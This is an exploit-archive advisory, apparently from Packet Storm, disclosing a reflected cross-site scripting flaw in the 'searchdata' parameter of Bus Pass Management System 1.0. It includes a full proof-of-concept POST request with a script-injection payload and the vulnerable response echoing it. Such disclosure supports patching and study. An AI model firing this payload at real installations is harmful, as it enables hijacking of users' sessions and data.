Bus Pass Management System 1.0 Cross Site Scripting

Authored by Ali Alipour

Posted Sep 29, 2022

Bus Pass Management System version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 54b5f2852b454991cb45a80382823090c9ab28550870d5b5a1a6ae83964d87e3 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting (XSS)
# Date: 2022-07-02
# Exploit Author: Ali Alipour
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-
MySQL.zip
# Version: 1.0
# Tested on: Windows 10 Pro x64 - XAMPP Server
# CVE : N/A


#Issue Detail:

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The
payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed
unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the
application's response.

# Vulnerable page: /buspassms/download-pass.php

# Vulnerable Parameter: searchdata [ POST Data ]

#Request :

POST /buspassms/download-pass.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3
Origin: https://127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://127.0.0.1/buspassms/download-pass.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 25

searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=



#Response :

HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 00:14:25 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8
X-Powered-By: PHP/7.4.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6425
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<title>Bus Pass Management System || Pass Page</title>

<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba
...[SNIP]...
<h4 style="padding-bottom: 20px;">Result against "966196cyne7<script>alert(1)</script>yhltm" keyword </h4>
...[SNIP]...
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files
Ubuntu 57 files
Gentoo 44 files
Debian 28 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed